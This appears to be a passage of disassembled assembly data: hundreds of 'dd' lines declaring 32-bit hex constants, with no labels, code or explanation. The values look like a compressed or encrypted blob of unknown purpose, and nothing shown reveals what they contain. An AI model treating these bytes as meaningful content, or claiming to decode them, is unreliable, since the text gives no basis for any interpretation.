dd 30CD79F0h, 0B0DD3B01h, 578C565Dh, 0BD6DE20h, 5E6E1476h
dd 0BE5BF742h, 2636BBD8h, 7693A376h, 0DB161546h, 68E78D85h
dd 0B9558079h, 21B98DCh, 41AD0428h, 934C95C6h, 3250C906h
dd 0A6B57Fh, 2A05669Ah, 6A21E4A5h, 58E2904Ch, 235E255Bh
dd 0E461DE5Bh, 6DB89DE9h, 0A42A5A3Fh, 9116BF27h, 0DBAF6F57h
dd 598FC0A3h, 0B346C09h, 0FE295C82h, 0DDF5EA5Fh, 0C83E4AF9h
dd 11492D07h, 9940F9FCh, 0F3E61268h, 3C803A38h, 7AD82DAFh
dd 730CBB00h, 0F1392302h, 0BF73996h, 0BFEE626h, 446A4B63h
dd 69E0DFCDh, 0B8DCB97h, 5DCE9A61h, 0C058F864h, 0B28E03A5h
dd 902E9ECBh, 22AE61Bh, 0EECDF718h, 0B25114D9h, 918E27BBh
dd 52C45028h, 0B8F1768Bh, 24042538h, 88C0ADEDh, 2B06DFCh
dd 270F81CDh, 7D43F8AAh, 11D3B9A8h, 25B53316h, 0DB9C85FFh
dd 2B8EDEE8h, 1AD7807Eh, 5B343835h, 0AE40FA2Eh, 48625408h
dd 21B901F0h, 7656E725h, 2C6CA483h, 73E500DEh, 33965505h
dd 890BD417h, 0CE1C75BDh, 70F6B500h, 8E18BF61h, 1BAC0479h
dd 2B0B008Ch, 0C2CEB977h, 5704A365h, 1A61B589h, 0ADD3C3B4h
dd 2C2D606Ch, 140BFDF0h, 0C6FEF42Eh, 0F88B0B1Eh, 0F76763E9h
dd 26127208h, 0AF4CDE5Bh, 8DCF0BBEh, 9112C7ACh, 332F4E8Ah
dd 520B1923h, 0F8C0D782h, 892FBD0Bh, 84331318h, 11B233Eh
dd 0E1CF4535h, 0D132A96h, 15B296F6h, 0BCE5230h, 3261BD09h
dd 0C1E6D5h, 4D6739D1h, 0DEDB30ADh, 0B4515503h, 90B52220h
dd 5EF594F8h, 0EE56564Ch, 47A94BC4h, 645A2DB8h, 297288h
dd 0A638574Fh, 0C3B5112h, 0BC50F300h, 5AD161B2h, 5EE27506h
dd 175C04A1h, 2E313210h, 0F96887C9h, 675EE9F9h, 6E01A67Bh
dd 31A92155h, 119C5B5h, 7CAD85C7h, 33E96598h, 0F4E5DCB7h
dd 52B5C239h, 0BF89702Dh, 1381F88Bh, 4B992987h, 2992F4EAh
dd 58F753F7h, 0BF05A636h, 55D14C56h, 9E853A84h, 0FA501DB7h
dd 2D349449h, 0C0ED0089h, 0E546F5CBh, 0D5A6590h, 8819759Ch
dd 4204B5BEh, 0FE8B06D7h, 8100F6B3h, 9057E1D6h, 19B2502Fh
dd 0E9F28B0Bh, 60A06F38h, 7C09C9E2h, 4A89AD13h, 2DEF1301h
dd 9039B0E5h, 0E62508BCh, 0C080ED70h, 7CEBEDEEh, 338B704h
dd 0F4C801B5h, 0E411E18Ah, 0FDDA4171h, 97D73C03h, 281E846Eh
dd 0BA2757ECh, 77BDF5CCh, 0EEBA814Dh, 2F61276h, 0AF9DBFA4h
dd 0D43E39h, 0F7D0044Bh, 0CB39F4F1h, 4200F0B8h, 335730D9h
dd 9CED9D89h, 0F224E7h, 79C64E8Ah, 912D82Bh, 89C275B5h
dd 0B05ED850h, 0BD3DBA45h, 647AFCD6h, 0B514B11h, 7E292FFCh
dd 0C8C5EA46h, 8F7AB0F8h, 85892C04h, 442AE15Dh, 6FEE161Bh
dd 0F37A0084h, 0DD3B2E6h, 3A162D28h, 41A815A4h, 19398501h
dd 6A4E1A27h, 0D5010E77h, 8BFCDA3Bh, 5DEFDF10h, 19471040h
dd 3AE30978h, 55E0BB3Dh, 7DEB0FF7h, 40BB5B35h, 0DBD7CAF8h
dd 0E01F7A47h, 0C112F522h, 0B5232945h, 3ACBF911h, 936E5AF7h
dd 6116B103h, 3B808F8Dh, 0B3E2C681h, 271E0B24h, 19BD2902h
dd 0CA20C05h, 85B1598Ah
dd 0D2099589h, 0BAFB5869h, 1FBDF070h, 8AC466FBh, 2EE9DCh
dd 0C2842DE3h, 8CC54EF3h, 3BB31B45h, 7E0BB32Eh, 0AC011446h
dd 33BE66F8h, 9E376C22h, 1C47CC00h, 95C18355h, 0DD872337h
dd 0F4501591h, 5B0F82DBh, 69F19981h, 0C352301Dh, 4BA59531h
dd 7172D211h, 8C8B665Ch, 70E0D3D9h, 782CA008h, 762438D0h
dd 0B0E29C2h, 0EB002659h, 3D8CBBFAh, 4B6E2D2Dh, 0AEBC5591h
dd 0E0DEEB20h, 59920269h, 0F31C3436h, 3539E361h, 0AF6B6E4Fh
dd 0DB001923h, 9CF6EBEFh, 0E2DEB064h, 7A5B8114h, 7B00D4FDh
dd 3A1CED59h, 0A0F66590h, 0DEC32B24h, 0BBC100DEh, 0FE63EACDh
dd 79B6E399h, 0E94727C4h, 0E6160E68h, 2937F129h, 0B60EB930h
dd 105B6932h, 500F8550h, 8A20E25Bh, 534072FEh, 17DDA0h
dd 0DCC150CEh, 0E822F8C0h, 0B1019BA4h, 4D6EB782h, 99D742AEh
dd 0AB6D5F5Eh, 0E5950104h, 2B10A522h, 0B5BFF441h, 1A3D3B7Eh
dd 0C63F68B8h, 420B805Eh, 0E89EB7B2h, 64B88B0Dh, 0E400ADB9h
dd 0F02847A9h, 27B436D9h, 4B10602Fh, 7A00FED2h, 0FF968961h
dd 7BE2CBC6h, 0B70F1FF4h, 0C0C233CAh, 14958DF8h, 369F349Dh
dd 3A533A85h, 9D09F105h, 0B1B22151h, 0A0AEB6D3h, 5F5B0AE7h
dd 0A26AA1Bh, 0C2D2D0Ch, 0B5AD7FE5h, 662F01F8h, 66E54FBFh
dd 0FA743DEh, 0C0F415B2h, 3A827294h, 0EDC20106h, 0BD23DE17h
dd 4812885h, 0E8FC905Fh, 1E3C12C8h, 845B7574h, 0EC5CEFF6h
dd 905F26F4h, 0A95601DEh, 67F41DB1h, 0C57F305Eh, 658648EFh
dd 0A0B285D3h, 0A95A2207h, 0A19E80ADh, 2972176Eh, 0DD507A03h
dd 0C03FA587h, 5816C8Fh, 0CFF4BDC7h, 239F3A0Ch, 3F920F15h
dd 8E90D7A0h, 2B150F32h, 5EC815BDh, 65FD820h, 0D25C3F5Dh
dd 4C109401h, 6DEE9859h, 16CBCACh, 2A1658A2h, 2EB17468h
dd 0C0036220h, 21A600D9h, 4731F214h, 9A5029E0h, 2B407594h
dd 0D18107BFh, 605F4EC6h, 0A3341B9h, 6F2E3B94h, 15CB3F6Fh
dd 7001D3DFh, 6600DFCAh, 0DCF81A30h, 0B6A2E929h, 0CDBF0EEAh
dd 8B6FD0E1h, 0A6E3EC1h, 0B265E539h, 4ADDB3F2h, 2617F86Eh
dd 9BA2F7h, 21E7549h, 7274B60h, 587A4F16h, 81A1343Eh, 31F5F6F1h
dd 1684C70Bh, 0F079DA8Dh, 0BBA0B0B8h, 89801FD5h, 16614B85h
dd 0DF84886Ch, 0B4D94E01h, 505DF728h, 4500D023h, 77062954h
dd 1202BF2Ah, 11D81A10h, 1E766618h, 4077D4F1h, 9C53D2BAh
dd 0A0278913h, 41B94A73h, 2934F15Ah, 0A537BD6Ah, 0C6273B81h
dd 44A713A3h, 61C076CDh, 58DCFA1h, 5599F81Dh, 0EB00F32h
dd 0E605E605h, 6E00E758h, 90568840h, 81EF2D69h, 0FEDFA89h
dd 0F0A187C2h, 6BFA4CA2h, 9061D00Bh, 4E6E9718h, 0C2BCC0FBh
dd 979DFB02h, 0D45EEDDFh, 90FE09C5h, 637CB40Dh, 14D6003Ch
dd 0C6054A49h, 697E3111h, 2BF88B20h, 6A2E0BDDh, 0CA3805E9h
dd 0EE87D7FCh, 0BE6683E8h, 8CD3CE49h, 8CB61370h, 39BD8960h
dd 0EFC69521h, 2A35B7h, 97AD6AFCh, 3AB55EAFh, 50BBD383h
dd 4102107Fh, 4605CAD3h, 8ED162h, 89BD5E51h, 0D500FB3Ah
dd 4E66957Dh, 0F654E5C2h, 6FA70163h, 0BD33AE56h, 3A3C6CE9h
dd 9C9EAD5Eh, 1D1821A6h, 4C58612Bh, 0D57E07E5h, 0F5B87382h
dd 27E2BFBDh, 61A56038h, 908622C0h, 0F2B86CEDh, 0BF575864h
dd 0B60707B7h, 0D2400B13h, 835CEA2h, 0AE9F094h, 0C1BAC80h
dd 0E4E7D3h, 76FDCA9Bh, 15559D8Bh, 6EFFE25Eh, 64611716h
dd 10099A2h, 0E17BEC6Ch, 1E0E448Ah, 814DDE83h, 0E938202Ah
dd 0F84A1440h, 0B4F5006Ch, 942FA464h, 0D9380862h, 5E75961Eh
dd 5B57E8CCh, 8FAF485Fh, 8396CAA4h, 641AE40Bh, 0E92E447Bh
dd 0A5AFA770h, 9141DE61h, 404298C7h, 0F78E269Ch, 0C7B50E24h
dd 2D3B852Ah, 0EDFD782Bh, 6768603Ch, 0A5023C32h, 5911FB06h
dd 3A7E6ABh, 0C376969Eh, 0EA8E68Fh, 0C6048160h, 30BABE4Bh
dd 61C22CC1h, 0BE316A20h, 35EF4277h, 3F845193h, 17041523h
dd 10C4890Eh, 468D4792h, 2D95F818h, 92B91B51h, 22FDF029h
dd 0B58B1F86h, 70B12DA1h, 4D6BA53Fh, 0AF20C39Dh, 7352584Fh
dd 0DD2E6F05h, 71A1AB82h, 0DB054920h, 0BE93B4F2h, 839C0702h
dd 6A17E92Bh, 35E3C191h, 0FB007E6h, 98F9FB4h, 0CDDE0320h
dd 601D70E6h, 90E7E080h, 0F4134542h, 0D9F605EEh, 0F671E461h
dd 0A7CFE06Bh, 0D2AF2E9Bh, 8B860538h, 2B4BA1F1h, 2DC9A213h
dd 5569C3F5h, 0FAA9C4BDh, 2E69605Ch, 6145FC85h, 1AD2FCCh
dd 0F2CEA99Dh, 0DCCB8713h, 6D2539A7h, 6F120Bh, 73D21AE7h
dd 0AB930088h, 0DBDEA94Dh, 40B45F7Ch, 1400372Dh, 2B16E529h
dd 605A8016h, 8D9E8F0Fh, 0DCCCC365h, 62530778h, 508C51DDh
dd 760F6A56h, 0DA97A00h, 89D82B61h, 1C552DB5h, 67FB779Ah
dd 4998670h, 0E75E3B1Bh, 1E9EA851h, 9A251E40h, 0C1A27CC8h
dd 0A334595h, 0BA855250h, 6FB05FBDh, 0AE8C3892h, 0BCA64BBCh
dd 0E7843126h, 5485A8D7h, 65E19AA6h, 0C01ECC77h, 75522A0Ch
dd 5031AEE9h, 5AE15D0Eh, 763FCD24h, 0D5FCA2BEh, 30FB3163h
dd 11B5571Ah, 45D1D20Dh, 2280564Ch, 0E9203691h, 4FF17D49h
dd 1988C59Ah, 5BA5ABC0h, 1EBA014Ch, 0FBEF3FBFh, 0B6A84459h
dd 0BCE8E0DDh, 9ED096Ah, 9278DD8Dh, 0B8FB87AAh, 97B6270h
dd 0FA8B094Fh, 0AC578825h, 226E4B4Bh, 43054900h, 13955837h
dd 1EB61048h, 8B0B1251h, 8E9A69F2h, 8038FC14h, 0A485B9CCh
dd 633B12AEh, 0EC7B0099h, 0DB0591EDh, 4E90DD09h, 1D0F05C4h
dd 985ECD49h, 16C23EA0h, 0C904AAF5h, 0E40044A2h, 0C15F836Eh
dd 9B2D186Fh, 0FA3394A5h, 0FB5B92F6h, 0BDC95935h, 1556A30h
dd 0A4EC67A2h, 6C5E39F7h, 0F0D346A3h, 53C5C47h, 0DD8529AFh
dd 0BD8F880Ah, 0EB623FEDh, 5BD55DEh, 0E0740982h, 0B15EC35Ch
dd 0DBE66DB5h, 18147994h, 0F5B14CEh, 0BF80D98Ah, 79FFA915h
dd 37BF2B7Fh, 0B6580405h, 2B93C0F4h, 35B6B87h, 76588762h
dd 0B500F6BDh, 69AD5CE6h, 0B705BD89h, 0EEE91605h, 8F36CAE1h
dd 0CE9F91F0h, 7DF2484Ah, 705BA90Eh, 39DC1209h, 0C0CB5E1Ch
dd 577562F9h, 31806EB7h, 4EBED7B7h, 321B188Ah, 0F5F35EC8h
dd 0AE95DEB8h, 0EF77E265h, 11919D1Fh, 62A2811Ch, 639BB56h
dd 0A94EE04Ah, 39292640h, 4CC1C58Dh, 0DB0D12D5h, 0E6658070h
dd 0CB6E7Ah, 642B7AE8h, 135121ADh, 4844568h, 0ABE9C434h
dd 31C51704h, 5DAF8F56h, 0BCC349E4h, 22E21261h, 46B9C1EFh
dd 0DECA6CB2h, 0DAEEBFC5h, 5AA9CBCh, 83D80CB2h, 2C6D4981h
dd 5084F462h, 0E7F260h, 0AFF27224h, 0BBAC803h, 905E61F9h
dd 8F711D53h, 5A04203Fh, 7900F088h, 5D1C9E89h, 7A7D3CAAh
dd 1E870136h, 0F5F88B7Ch, 22042B5Eh, 81400882h, 553F42D6h
dd 510B6C9Eh, 52F62953h, 0C1BE0E1Ah, 0DB335F52h, 4DCFC0ECh
dd 13088F05h, 48859DCh, 12180191h, 83130208h, 10D59D89h
dd 7851913h, 0F88991E2h, 372D59F4h, 0C01C004Dh, 9159938h
dd 0F0BF071h, 7152F8B7h, 0DB970000h, 0C0F71507h, 0BB11CD00h
dd 4DA6BDFDh, 5F90A176h, 50911D20h, 258DCF21h, 924C297Dh
dd 0AFC76800h, 3BE0694Eh, 850112ADh, 0F8D1BCC1h, 0A21F8C16h
dd 0E6803198h, 0DF1B665h, 0C892D0Fh, 310574C5h, 21B4BD9Dh
dd 25BBB68Dh, 0E3707A53h, 96F3062Ah, 0F67C6CB1h, 81B43639h
dd 252948B8h, 2630C18Bh, 0B2044F1Dh, 4A8688D2h, 25EB21F6h
dd 50C945EDh, 8F950BF7h, 0BB6E2218h, 166B595h, 0CA1BC29Ch
dd 0BEF7F87Dh
dd 0CF40290Eh, 7166A00Dh, 0C390058Ch, 5061E7F0h, 0C57D55A0h
dd 0A49E517Bh, 32F19D40h, 0A40B0156h, 7A6346E4h, 6EAA2A6Ah
dd 0D86800AAh, 298E516Fh, 1F912895h, 0F363976Fh, 2780F40Fh
dd 0F9566AE6h, 1EF81C0h, 449724F7h, 0F050824Eh, 81FCC083h
dd 0BB2FFD88h, 8231457Ah, 1104BEE2h, 844AE350h, 0B52B045Fh
dd 434CB1ADh, 309D5528h, 0AFF681DEh, 1710740Fh, 0AEDB535Fh
dd 46D7CFC0h, 0BE0F92ACh, 407BA643h, 6ECEE81h, 98544E34h
dd 9527B5BCh, 97F2EE0Ah, 0EB14182h, 0C442Bh, 9EBC5CC7h
dd 0C6B7EA59h, 2B15B300h, 0F7B93E09h, 0A42F1A34h, 0A7E34C8h
dd 63C7DFEBh, 0EED8B1E0h, 0E3A8027Eh, 60D3FFEAh, 9748AE82h
dd 18510AC0h, 0C8BC6181h, 0A62DC5CFh, 301CB28Bh, 4760B113h
dd 405A636Ch, 596EC4C4h, 0C6E90511h, 8A8472B3h, 59301227h
dd 416101Eh, 8B2923B2h, 81738CC6h, 73A7B700h, 2D06AFCFh
dd 3CCA5B89h, 0B686845Bh, 2C00D419h, 0E366E0DEh, 2F9D8B88h
dd 656F04C1h, 92728A69h, 782BE760h, 0B6507621h, 636DA72Ah
dd 44B453E5h, 9B6F9FCCh, 32C14E60h, 0E1109506h, 2C006962h
dd 37F50ACh, 34D26898h, 824A0EE9h, 83000A7Ah, 0B625BBBDh
dd 413D4578h, 4130D674h, 7EFF3116h, 0FE004F7Bh, 0EC9E1995h
dd 23E7472Dh, 723E0Ah, 3EF43FDh, 14E08388h, 4A85C755h
dd 6F2FAE45h, 0AE9B1C88h, 0A68E002h, 16F1C6h, 4CF2282h
dd 0E7070E2Ah, 0D82BDEB9h, 6AC13F17h, 376316E9h, 42089D10h
dd 2699704Bh, 0E0A5A992h, 29AE3444h, 0C0991B0Dh, 0F10D72E1h
dd 0A5A91602h, 9B7BC4A1h, 9BDC02Ah, 2DBB3CE8h, 9791CABEh
dd 3081145Ch, 0DA28C883h, 43E44F80h, 49CF144h, 0F58D0961h
dd 95901C24h, 6B625B6Ah, 9F00EB59h, 6AC7FDB5h, 7C800C6h
dd 446DA8B8h, 0D0FD676Bh, 4E4BA91Dh, 0DDB188h, 5C1B1CDCh
dd 6CA522B0h, 4D41000h, 0B7A1F999h, 0E5D63647h, 90972E8h
dd 0D6332595h, 85EC95BCh, 1927DD48h, 0B0707F58h, 0FC78829Bh
dd 98760F7Dh, 4E272AA5h, 70E69227h, 0CDCFA7Eh, 0AAB65627h
dd 719A999Ch, 4271E426h, 161F5ADEh, 0FA6F5Bh, 0BF554FF7h
dd 12F169DFh, 0E306BA38h, 3016E275h, 5307D732h, 8BF1BF0Fh
dd 6D850181h, 3A57CD3Bh, 7E2F48C2h, 442F4D15h, 206EBAB4h
dd 0A61EF101h, 70C4E928h, 93EE804Dh, 8AAD5072h, 21E551E1h
dd 2680B978h, 900B02CBh, 6B22C4Fh, 7C00D6A8h, 2C6BFB70h
dd 21BD2936h, 0E4A0569h, 0B03C272Dh, 6054B20Bh, 821C9DC0h
dd 0DEFE438Ah, 920BB8F6h, 803EC072h, 0A968B38Fh, 7291BD15h
dd 0FCF8FBD4h, 0CC003D65h, 1A995766h, 9483CA7h, 5EB6DF9Ah
dd 66FF5C0Bh, 8AF059C1h, 15BD0382h, 967716EAh, 0D4F996FCh
dd 8CA4B301h, 0AE17BDB4h, 774D5BFCh, 23112D09h, 33A1AD44h
dd 12F22D0Dh, 6D37F7B7h, 3C59DE1h, 4DC3B452h, 0E71BE0E3h
dd 5B0083Ch, 0B219312Dh, 50605BBFh, 6C01EED6h, 0A13AAF93h
dd 0C48954B2h, 951A1C49h, 21F9AC41h, 89FED095h, 1EEDBD24h
dd 0D2305893h, 2D9EC761h, 0B2A443F2h, 0A9885765h, 7F7C00F3h
dd 920A2C9Fh, 0F80BDFFCh, 6A94E22Bh, 0D0377F9Bh, 811A885h
dd 3801B3B0h, 0E3CA259Dh, 8D1F354Eh, 0F6B5710Eh, 6A5E2BA6h
dd 0D83F7D4Dh, 0BFDF00EBh, 605B0C03h, 0C8114AB0h, 85001B6Eh
dd 0E4836CBEh, 272BC337h, 0A182659Dh, 99D96159h, 0DF4CAF11h
dd 0A6459F7Ch, 30025B13h, 472BD874h, 601B641Ch, 721D3A6h
dd 660983BFh, 0EE81200Ah, 59B66005h, 7BAA69C5h, 6D81609h
dd 4EABBE30h, 3F300ADh, 0BDDD566Ch, 5F396A46h, 9EC63F88h
dd 0F6F25CF6h, 0D9D7AF39h, 3D6590Eh, 8F4B44E9h, 2700F26Eh
dd 0D753BB3Fh, 8B2F9F2Ah, 7CB5FFC0h, 6BAEDC8Eh, 44896D07h
dd 0C23F601Ah, 0ED6E62Ch, 0DABF3E8Dh, 0AB7891E4h, 2C15F608h
dd 3F6825EBh, 5725D73Fh, 70BBDB16h, 0EA04AD8Fh, 9E93243h
dd 6DE19440h, 4E0AF783h, 8BD50A81h, 0D1BD2302h, 0D906D409h
dd 2B5BC24Bh, 95FCE2D0h, 1B64CBCDh, 66DDE960h, 8B94860Fh
dd 1ABCF203h, 13542416h, 0F814E990h, 0BFCF0083h, 81F9A6E1h
dd 8D0C14E6h, 66507687h, 0A5ED13F6h, 0D30AED5Eh, 0BD80869Ah
dd 0E46FE55Fh, 0F5858908h, 3190022Bh, 10567195h, 0A230FC12h
dd 0BC92CAh, 0DB904F4h, 58949DA6h, 22F9C81Dh, 0D58B775Dh
dd 0C12E023Ch, 5FFE2210h, 379F24D8h, 0CFE00042h, 17C6B960h
dd 84BD1CE4h, 610B04DEh, 583D0487h, 0E6098E20h, 0D0F9F052h
dd 0C2379758h, 86BC6016h, 0E341C93Fh, 2E8E502Ch, 3AE1684Ch
dd 0D901D252h, 4CEAB72Fh, 2D587461h, 0B2F7E983h, 0B322ECE0h
dd 0E1F978AEh, 0F5F41817h, 7EBC4730h, 5F56006Eh, 0D8D18FC4h
dd 0B6241B8Eh, 590B0E25h, 0F18E0B64h, 656100A5h, 2A931940h
dd 823C300h, 7CFB0390h, 53B13F27h, 5F852EFCh, 8B07DE9Fh
dd 188A0DD5h, 40FF4B76h, 892D0F07h, 9721DB27h, 0E7B0F2FFh
dd 58D15F95h, 0BA8515Eh, 24F87821h, 1B45356h, 5D2A499Dh
dd 40E9C45Fh, 0E28BFB6h, 5E0A6120h, 226BFB60h, 9D50824Ah
dd 0A961EF42h, 0FAB53080h, 591CB94Eh, 703553A5h, 0BE00F061h
dd 2A95BC23h, 1321F38Bh, 0B91BF58Dh, 7F18DA9Dh, 0D284B92Ch
dd 8BFF1014h, 0EEE65B17h, 8F01EFF0h, 76E5D407h, 0F71E183h
dd 6B673485h, 2E12E6E4h, 0E16EC152h, 4C705737h, 1D9DB941h
dd 8B2A153Ch, 55A66Fh, 49857C21h, 836471F9h, 69185C00h
dd 0D619DDDAh, 2DCB15F7h, 0B245BFCh, 52EE60C6h, 1CB02943h
dd 4B611840h, 8FD89B60h, 2C06E04Ch, 53817703h, 0A658FB91h
dd 9CBD83C0h, 0E10BA755h, 848BB97Eh, 0DF50248Fh, 5B20B55Bh
dd 6255C1FDh, 0DC84657Fh, 0A17B47DEh, 6055B483h, 0C53FA5E5h
dd 0DA1AB1D4h, 0D5663CA7h, 2A9732C6h, 66D86873h, 0F0114895h
dd 298B114Ch, 0D34A0C89h, 0D6304828h, 33271E19h, 0E6CDC6EEh
dd 20065C52h, 1A799D8Bh, 87FCEEA4h, 0CA4539B6h, 9855781h
dd 44E9D74Ch, 0C1005412h, 383B2DF8h, 1922E4Ah, 0C919E658h
dd 0E17B27D6h, 1EAA4743h, 0E8AFA976h, 0D2FB0209h, 15BD9529h
dd 0C3DED492h, 0B912AFA6h, 9F8B90C2h, 80199136h, 238F26EDh
dd 96025274h, 0AFBDD2DDh, 0AA8BFCA0h, 0C152442h, 0E2B2AA52h
dd 5528D5Ah, 814EDBB1h, 1A5F6C5Ah, 0BF314360h, 9EA483FCh
dd 50FC53E9h, 0D901EA03h, 0E890BB08h, 0AF576ADAh, 19BD480Bh
dd 2FBBA423h, 683D1555h, 699B5915h, 7096F35Dh, 0B8A66057h
dd 0CDF629BDh, 0AF3C2C5h, 0A0FEFF61h, 6F936E98h, 246E778h
dd 6F61A8BCh, 905D81E0h, 282F1A5h, 896B8677h, 0F8792148h
dd 0F21EE585h, 4CA9E3FEh, 9407258h, 1376A95Eh, 8019F814h
dd 0C18E5E70h, 7D2D3872h, 21538D81h, 21B4753Fh, 0DF825B35h
dd 6F746E81h, 1170377Dh, 85C725C6h, 63B716BAh, 6B366682h
dd 0D73AE0D9h, 0DC339661h, 1FBFB800h, 0EB57C6A7h, 9D611C07h
dd 6D32DE9h, 3DBBFD8h, 585FBA6Fh, 7AB01B2Dh, 892D8501h
dd 0D021530Ah, 1A5CE398h, 0C15109Eh, 0BAC18B0Eh, 2308F007h
dd 3178EA81h, 14C28313h, 0B65EF8C4h, 397F97Fh, 0CAE63515h
dd 771FD50h, 258991BBh, 5E85070h, 0C22B3158h, 0C6FFF01Ah
dd 4D3801C0h, 8CBB5A4Ah, 5003B744h, 81D0033Ch, 5F45B33Ah
dd 254BAF19h, 0D060F72Dh, 359AD9E9h, 0BCC88B26h, 0A830B72Ch
dd 0CC3C4003h, 3DC2064Fh, 3EEF146Fh, 181112B1h, 5BF8A607h
dd 30C1CC3h, 99201BD1h
dd 0A0DD4D0Eh, 1041157Bh, 0A5ABB87Fh, 50516F8Ch, 1410EC8Bh
dd 14B0A981h, 3359B560h, 5EBFC3C0h, 0FF24E57Ah, 470158F7h
dd 9AA7D268h, 16A101D4h, 7A216108h, 23FF2FE5h, 2732A94Fh
dd 6444D3EBh, 92E1F307h, 25F16681h, 1EE0C7CAh, 0D38F0556h
dd 0E90D78h, 5AF80815h, 0A1F1D57h, 9DC0C379h, 0CC71D186h
dd 0B49C7E1Ah, 59E140ABh, 3F00B1DBh, 0E7BBF3C5h, 1F36679Ch
dd 93C2817Ah, 334A46Fh, 0F713F1A6h, 1B37FF2Bh, 0A5ACD70h
dd 570D0050h, 1ACF3866h, 310086FDh, 0B43A1C8Bh, 3F381D6h
dd 3EDCC2FAh, 0C3C182B1h, 5A23E025h, 2CF8B3Ch, 998A02EBh
dd 97987F4Eh, 0A50353F1h, 5EA66C33h, 57DDF0E4h, 26A006F6h
dd 94B464C4h, 9158D926h, 0E9900E60h, 266800DCh, 0C615749Ch
dd 0DAE43421h, 0D7A22500h, 53615A43h, 66D60181h, 8F0E75ABh
dd 805A2004h, 58F7E101h, 0EF8159B4h, 632B0AE8h, 36C7A746h
dd 8EFC113Fh, 7D91C8FFh, 35118424h, 0DED36038h, 0BCD6FC00h
dd 0F3A513D8h, 672B9B00h, 0F00E3DDFh, 58622FCFh, 9D61DCC1h
dd 0E90CDA08h, 713D29h, 0D93A7796h, 63EF2378h, 10042D0Bh
dd 6F09821Ch, 1F364E8h, 0B022FD5Eh, 0DCFCC1C8h, 0AF923EE9h
dd 8FF4E500h, 0B1487981h, 0AAF000C7h, 0A9093F7Bh, 250027CAh
dd 93CC8912h, 331B261Eh, 1908668Ah, 89F42172h, 6FBF7D00h
dd 0B08B6741h, 0BCEC71h, 0B3604955h, 518E848h, 9AC33600h
dd 4532A747h, 56A9060Fh, 3815D50Ch, 0C6724200h, 47220527h
dd 8B3B01C0h, 0ACA790C4h, 0A80FDC99h, 0E2C2F601h, 1D188F25h
dd 0F9272081h, 4FCA7A51h, 9A831120h, 0C9CA3C80h, 0C0C0A572h
dd 5A6C4905h, 562303E4h, 62A0EFBh, 21530830h, 5A7467h
dd 768C60D3h, 24590285h, 291B8E18h, 534107C8h, 1CA29C2Eh
dd 3BC9D30h, 47F49170h, 50012003h, 0ABD8BDCh, 5C9E21Ah
dd 0E5B00703h, 0D6069C70h, 0CEA4C646h, 21086008h, 10E5DBE4h
dd 0DF938C00h, 0A768F6CCh, 136420E2h, 0C01950C8h, 9C73E5DDh
dd 222CE46h, 0E5DAE700h, 3C690FD8h, 0C4913207h, 0F1200B90h
dd 70B8D7h, 8756374Dh, 0E2B08ED4h, 13361401h, 7DAF2260h
dd 0B43B9D4h, 0EAC12DA6h, 0A83908h, 14B050A9h, 4B1D7DC9h
dd 0BBC0F270h, 9C6B03AFh, 33BF288Fh, 56CAF084h, 7302D4D4h
dd 7E23E35Ah, 6A105531h, 0D0045A7Bh, 212CBF23h, 92160081h
dd 8D582040h, 7172185Fh, 3E8110C3h, 0A06B91C0h, 148AC93h
dd 2547EBE1h, 60F3B8A7h, 173160FFh, 3B87986Dh, 8097A200h
dd 3F601063h, 0F302C41Ah, 4C78AAh, 0CD891304h, 1E621693h
dd 0BF80CB25h, 90AD562h, 745B6843h, 23EA9400h, 25614C47h
dd 67BF9C60h, 0F1817986h, 6006B01Fh, 0C682DB27h, 0CD2A00C1h
dd 0CB430C49h, 4B7FA52Eh, 212F08CCh, 49D52608h, 0C38300A5h
dd 0FEADEA6h, 0B95F561Eh, 0E3F59180h, 486B2793h, 60641CFAh
dd 49CC60DAh, 0D3432313h, 0B003711h, 457949D4h, 5330979Ch
dd 4658B024h, 3CCA8016h, 0BCF91060h, 5BFAACDh, 203BDD99h
dd 0B03FC17Eh, 23542212h, 0E5E70A17h, 62FE12C0h, 0D9200C54h
dd 0C5E5DCh, 555CE1E2h, 8F43EA21h, 0A01FEC28h, 7B209276h
dd 0C1B4823Ch, 0B447A091h, 1179EFD7h, 4052F094h, 0E5E3301Bh
dd 0DE9C7112h, 92479439h, 0A2526720h, 6F3B008Ah, 8043A7C1h
dd 69CF40FBh, 0ACF56A27h, 5067DC44h, 0A3430949h, 0C835458Ch
dd 340049CEh, 0DDEF87C1h, 0C20DF88Ch, 0A773C9D8h, 89166C48h
dd 0ADD1EB01h, 0A1523F6Ah, 23E24823h, 0A38F30h, 0D10172F7h
dd 4CA46439h, 80D95724h, 52F9B08h, 46E08CDCh, 411A3CB0h
dd 3A378800h, 5CDA0FFEh, 0F51E03EAh, 0B2ED11A4h, 2D725B98h
dd 0ECB0C56Ah, 829FD711h, 623E25Ah, 6901C067h, 87855A7Ah
dd 0FBF1CBD3h, 0AF9013DFh, 0C8142228h, 115A6F30h, 885E23E7h
dd 7766804Ch, 3CD5705Ah, 517BBF00h, 0F79011F8h, 6B0A24A8h
dd 0A4B42008h, 2164608h, 9C6CE5E6h, 100E31F6h, 1E5DFD8h
dd 0F59957E2h, 64938040h, 0E40B4480h, 21C8F97h, 0A38DC50h
dd 9467438h, 79A2D501h, 0A919F982h, 31D1D818h, 56007E18h
dd 25FD5C38h, 608233F0h, 0A648213Dh, 1C006BCFh, 0F3E336C6h
dd 267C85C4h, 1C148155h, 0D5C43FDBh, 49CF048Ch, 62DB4312h
dd 0D70A2033h, 0C577CC49h, 65F4B002h, 44A0FA3Fh, 2754658h
dd 93C68908h, 101D312Eh, 8911CCh, 29E51EDAh, 13EB4434h
dd 0A0D2B426h, 0B03AD80Ah, 0E0601444h, 9C236EE5h, 0B11E6h
dd 38E5D9DAh, 12456FA7h, 220F04E2h, 0E4301004h, 9C6A11E5h
dd 58229C86h, 5C00B0DEh, 0CDBA5D3Ch, 3B0FEE1Fh, 72737712h
dd 0DAEA4440h, 0E72A7174h, 48419C30h, 33106C12h, 542E9620h
dd 6F005223h, 60837E07h, 681B0954h, 400158CFh, 22C4ED6Dh
dd 1D523C0h, 23E05A70h, 80AC6376h, 9C5A786Bh, 38BF10A3h
dd 0E3A86224h, 0B722002Ch, 18C42E04h, 54C3D8C7h, 0CF00F4E0h
dd 184D82EBh, 31F15CB1h, 2A003918h, 3D4CFB4Eh, 60839579h
dd 0A7342136h, 0EE01B991h, 96F56EA6h, 0B1F13557h, 0DC681482h
dd 840F65Bh, 0A1C00940h, 1CACDDEAh, 0EB11C026h, 4380410Bh
dd 18C0A759h, 0CBB12582h, 5C873068h, 10F60A18h, 4C7C1C48h
